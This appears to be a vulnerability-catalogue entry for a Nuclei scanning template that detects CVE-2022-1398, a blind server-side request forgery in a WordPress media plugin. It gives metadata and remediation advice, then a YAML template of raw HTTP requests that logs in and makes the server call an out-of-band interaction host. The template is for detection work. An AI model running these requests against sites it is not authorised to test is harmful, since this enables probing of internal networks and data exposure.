CVE-2022-1398: External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery
- Template: CVE-2022-1398
- Name: External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery
- Description: WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
- Impact: Successful exploitation of this vulnerability could allow an attacker to bypass network restrictions, access internal resources, and potentially perform further attacks.
- Remediation: Upgrade to External Media without Import plugin version 1.1.2 or later.
- Severity: medium
- Authors: theamanrawat
- Tags: cve2022, cve, ssrf, wordpress, wp-plugin, wp, wpscan, external-media-without-import, authenticated, intrusive, external_media_without_import_project, vuln
- References: https://wpscan.com/vulnerability/5440d177-e995-403e-b2c9-42ceda14579e, https://wordpress.org/plugins/external-media-without-import/, https://nvd.nist.gov/vuln/detail/CVE-2022-1398, https://github.com/ARPSyndicate/cvemon
- Cves: CVE-2022-1398
- Verified: yes
- Max requests: 3
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-1398.yaml
- Digest: 4a0a00473045022100b89c044a349d91d6495dbff478f281443592c2028232bd670cccbf924b0d6b370220208cc1e0dd8c9afef4697274aaaf6dd4bc847cec9e3f42c02a10b3c0c8fed2e2
- Created at: 2023-03-20T06:47:42Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1345
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1398.yaml
Classification
- Cwe: CWE-918
- Cvss score: 6.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.02976
- Epss percentile: 0.87607
- Cpe: cpe:2.3:a:external_media_without_import_project:external_media_without_import:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 3
- Product: external_media_without_import
- Vendor: external_media_without_import_project
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| external_media_without_import_project:external_media_without_import | yes | /v1/products/external_media_without_import_project/external_media_without_import |
Labels
- Name: WordPress External Media - Server-Side Request Forgery
- Impact: Authenticated users can access sensitive information, modify data, or perform unauthorized admin operations.
- Remediation: Update to the latest version of the plugin where the issue is fixed or implement proper authorization and validation checks.
- Vulnerability type: server_side_request_forgery
- Vulnerability impact: information_disclosure, data_tampering, privilege_escalation
- Requirement type: logged_in
- Requirements: Attacker needs to be logged in as any authenticated user
- Labels source: projectdiscovery
- From cve: CVE-2022-1398
```yaml
id: CVE-2022-1398
info:
name: External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery
author: theamanrawat
severity: medium
description: |
WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
impact: |
Successful exploitation of this vulnerability could allow an attacker to bypass network restrictions, access internal resources, and potentially perform further attacks.
remediation: |
Upgrade to External Media without Import plugin version 1.1.2 or later.
reference:
- https://wpscan.com/vulnerability/5440d177-e995-403e-b2c9-42ceda14579e
- https://wordpress.org/plugins/external-media-without-import/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1398
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2022-1398
cwe-id: CWE-918
epss-score: 0.02976
epss-percentile: 0.87607
cpe: cpe:2.3:a:external_media_without_import_project:external_media_without_import:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: external_media_without_import_project
product: external_media_without_import
framework: wordpress
tags: cve2022,cve,ssrf,wordpress,wp-plugin,wp,wpscan,external-media-without-import,authenticated,intrusive,external_media_without_import_project,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/upload.php HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
urls=http%3A%2F%2F{{interactsh-url}}&width=&height=&mime-type=&action=add_external_media_without_import
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- http
- type: word
part: body_2
words:
- external-media-without-import
digest: 4a0a00473045022100b89c044a349d91d6495dbff478f281443592c2028232bd670cccbf924b0d6b370220208cc1e0dd8c9afef4697274aaaf6dd4bc847cec9e3f42c02a10b3c0c8fed2e2:922c64590222798bb761d5b6d8e72950
```